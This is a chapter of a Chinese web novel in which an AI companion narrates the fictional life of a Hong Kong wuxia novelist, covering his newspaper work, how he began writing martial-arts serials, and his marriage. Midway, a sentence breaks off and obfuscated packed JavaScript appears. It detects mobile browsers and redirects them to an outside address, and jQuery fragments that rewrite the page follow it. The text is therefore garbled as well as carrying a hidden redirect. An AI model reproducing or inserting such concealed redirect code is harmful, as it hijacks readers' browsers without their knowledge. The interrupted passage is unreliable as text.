那是一个特别伤感的故事。


    不对，是三个。


    三代折罗北派的奇女子，没有一个在爱情上，得到圆满。


    但这并不妨碍，她们的生命之跌宕，之精彩，在几代男主和读者们的心里，都留下了无法磨灭的形象。


    苏椰看完以后，叹息了很久。


    看来，她们的故事，就连小vi这个伪人，也打动了。


    或许，这便是经典作品的魅力吧。


    ***


    小vi收起了屏幕。


    同它的好搭档苏椰一起，踏上了时空飞船。


    去往新的地点，开启新的旅程。


    苏椰将食盒子放进特制的气囊里，固定好周身的所有安全设备，迫不及待地，将眼罩一戴，闭上了眼睛。


    这一次，她的动作比前面任何一次都要麻利。


    过程中，没跟小vi闲聊过一句。


    她想，自己会更快地进入梦乡，以方便小vi尽快地展开下一步工作。


    她想赶快听到余文畴的故事。


    上世纪的武侠小说，大多是男性作者在写，故而，一般从男主的视角出发。结果就是，生成了一篇又一篇的大男主武侠文。


    在大男主武侠文里，女性角色的出现，大多是为了衬托男主而存在。


    当然了，也有不少出彩的女性角色。


    有自己独立的人格，和高光时刻，不全是为了男主服务。


    然，终究走不了主线，不过瘾啊。


    武侠十二宗师里，引剑堂主和余文畴是比较难得的，擅长写大女主武侠小说，主要的剧情，都围绕女主而展开。


    尤其余文畴，笔下的男主在女主映衬下，几于黯淡无光。


    六、七十年代，有不少港台的女演员，因为出演了他的小说改编的大女主武侠片，收获了载入影史的形象，得保一生的荣华富贵。


    俗称，一个角色吃了一辈子。


    总之，再没有比余文畴，更尊重女性的武侠小说家了。


    那么，余文畴究竟是一个怎样的人呢？


    苏椰有提前查过，但了解的不细。


    网上的零碎信息，也不及小vi像说评书一般，说的有首有尾，起伏转折，引人入胜。


    在她沉入梦乡的那一刻，小vi的讲述，开始了——


    “余文畴出生大陆G省的书香之家。


    祖父是清末的举人，父亲亦有举人之才。


    但科举废除，没了进身之阶，便回到乡下，开了一间大药房，做了一个修心养性，乐善好施的乡绅，常常免费赠药，给条件困难的乡民们。


    余家在当地，有着极好的名声。


    余文畴幼时，便熟读诗词典籍，擅对对联。


    十五岁那年，患了严重胃病，不得已休学在家，远在北平的祖父，给他寄了一本棋谱和一本拳谱，书信里盼他强身健体，早日康复，同时，多多思考，脑子不要废掉。


    他迷上了下棋，但不怎么爱打拳。


    多余的时间，都用来看书。书看得多了，就忍不住自己动手，开始写起了文章，往报社投稿。


    44年考入G省省会大学的新闻系。


    才上半年，省会就沦陷了，城里的人都逃往乡下避难。


    在这期间，他的父亲接济、庇护了很多文化界的名人，其中，历史学家费友文先生，还喝了他的拜师茶，教了他不少学问。


    亲身经历了抗./日救亡运动的他，有着澎湃的民./族责任感。


    45年日./本投降，他回到了学校，在校报上发表了数篇左./倾文章，引起了曾在陪都从事过地下./党工作，现任香港《新月晚报》总编辑，鲁夫先生的注意。


    49年，他在费友文的引荐下，入职《新月晚报》。


    从英文翻译，做到了正刊编辑，并以‘白夫人’为笔名，在新设的“白夫人信箱”这一专栏上，解答女性读者们，来信咨询的，五花八门的情感问题。


    这也是他感情经历一点都不丰富，终老一生、唯爱一人，却能以女性视角写武侠小说，还能将情爱一事，写得朴实无华，又细腻动人的重要原因。


    同一时期，他的同事秦庚，则在影话专栏写影评。


    昔年的、今年的，东方的、西方的都写。


    两个人志趣相投，常于伏案工作之余，品茶下棋，联诗作対，也爱看、爱聊民国时期的武侠小说，几次聊到停不下来，误了下班时间。


    49年南下的，除了文人、商人，还有很多武术名家，跑到香港去开武馆，谋求生存，一来二往，难免有摩擦。


    某日，黑虎门的掌门邓力夫，登报挑战太极拳传人吴檀望。


    各大报纸跟着起哄架秧，把这件事越炒越热。


    战后无聊的香港市民们，期待这两位‘武林高手’，能像武侠小说里写的那样，来一场酣畅淋漓的巅峰对决。


    比武当天，两个人气势汹汹地上了擂台。


    第一个回合，两个人亮出了架势，但谁都没有先出手。


    第二个回合，你试探一下、我又回挡一下，有来有回，但莫名其妙。


    到了第三个回合，观众席上，已经‘嘘’声不断了。


    年长些的邓力夫，脸上挂不住了，猛出一拳，抡在了吴檀望的鼻子上。


    猝不及防的吴檀望，捂着流出了鲜血的鼻子，踉跄间给了邓力夫一脚。


    一场事先张扬的比武，就这样无聊地结束了。


    裁判宣布，不胜不负不和。


    看得围观群众们一脸懵：就这？？？


    显然，没爽到。


    在场的鲁夫先生，观察着众人的反应，敏锐地嗅到了，曾在民国时期，大受欢迎的小说题材——武侠，至今仍有巨大的市场潜力。


    看这几天的热闹，和现场的反应，就知道。


    而他们新月报馆，正好有两个熟读武侠小说的编辑——


    来自G省的余文畴，和Z省的秦庚。


    鲁夫估量了一下，秦庚出身世家望族，族谱上有二十多个进士，让他放下身段，去写武侠小说？是很困难的。


    而且，秦庚骨子里挺不驯的，学生时代就被开除过两次。


    自己若强迫他去写武侠小说？搞不好，也要被骂法./西斯。


    于是，鲁总编瞄上了更好说话的余文畴。


    一回到报社，他就找上了余文畴，先聊了会儿刀戈、夷陵老叟们的经典作品，又聊了会儿刚结束不久的那场比武，最后从大局着眼，给他的思想上高度——


    年底了！报社销量好，大家分红才能多。


    余文畴这个人，性情随和，是不大懂得拒绝别人的。


    他本着早开工、早交差、早结束的平常心态，在看过鲁总编


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14927201|142832||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    亲笔撰稿，有关那场比武的报道后，只酝酿了一个晚上，就开始动笔了。


    ***


    1955年，大陆兴起了‘清除有du害的图书’运动。


    ‘武侠’这一门类，赫然在列。


    民国旧派武侠文学的发展，被迫中断了。


    就在同一年，香港诞生了第一部新派武侠小说——


    以邓力夫和吴檀望的那一场，轰动了整个香港，但雷声大、雨点小的比武，为原型的《龙虎演义》。


    蹭着比武的热度，登在了《新月晚报》上。


    人们一看，这比真人、真事精彩多了啊！


    ‘余文畴’这个笔名，随着《龙虎演义》的连载，火遍了香江。


    但余文畴本人的状态，却不太好。


    老胃病复发，又添了新的鼻炎，整个人看上去，糟糕透了。


    鲁夫很欣赏这个年轻人，认为他品性端正，长相好，才学也好，就是从小生活太好了，背井离乡，来到香港，不大会照顾自己——


    不上班时，袜子常常一只黑、一只白；


    医生嘱咐他，戒食红烧肉，他也由着性子来……


    而自家夫人的侄女章嘉年，亲切大方，处事妥帖，谁若有福娶了她，便是得了一个上佳的贤内助。


    鲁夫瞧着两个人性情互补，年纪又相当，很是般配。


    同夫人商量后，便分别邀两人，同一天来家中聚餐，变相地组了一个相亲局。


    餐桌上，余文畴自觉表现很不好，不停地吸鼻子、擦鼻涕，根本控制不住。但善良的章小姐一点都不介意，只是温柔地，给他递了几次帕子。


    缘于这份暖意，两个人开始交往。


    不久，章小姐还陪着他去做了个鼻炎手术，术后对他照顾有加。


    他有着传统文人的含蓄，不大会主动表达爱意，但会认真聆听，她说的每一句话，并给予积极反馈。


    就那么自然地，做到了当代女生对男生的要求——


    句句有回应、事事有着落。


    在她看完了他书架上的《近代豪侠列传》时，思索过后问他，“这上面写的黄飞鸿、霍元甲和吕四娘们的事迹，你信哪一个？”


    他没思索，直接说出，‘我信你。’


    信之，爱之，娶之，嫁之。


    ***


    婚后，他在饮食起居上，有了质的提高。


    她成了他的妻子，也是他的秘书，管家，他则在做专栏之余，努力地写稿赚钱，想要给她一个更好的生活。


    心里不再排斥武侠小说，写了一本又一本。


    因为她说，民国所有的武侠小说里，自己最钟意引剑堂主的《祁连尊主》，特别佩服女主霍祁连身上，那一份巾帼不让须眉的气度，他就选中了祁连山附近的折罗漫山，开启了《沧海奇情录》的创作。


    一本书里，塑造了三个巾帼不让须眉的女性。


    在写到纪无俦听闻左雁翎的死讯，该多么伤心时，他不由地联想到了晚年，若是嘉年走在自己前面，他会如何？


    一时间，只想到了四个字：痛不欲生。


    他就想象了那么一次，再也不敢想下去了……


    而就那一次，成型了他早期小说里的一个固定规律——


    男主眼睁睁地看着女主死去，或是活生生地失去了女主的爱，便会伤心到一夜白头。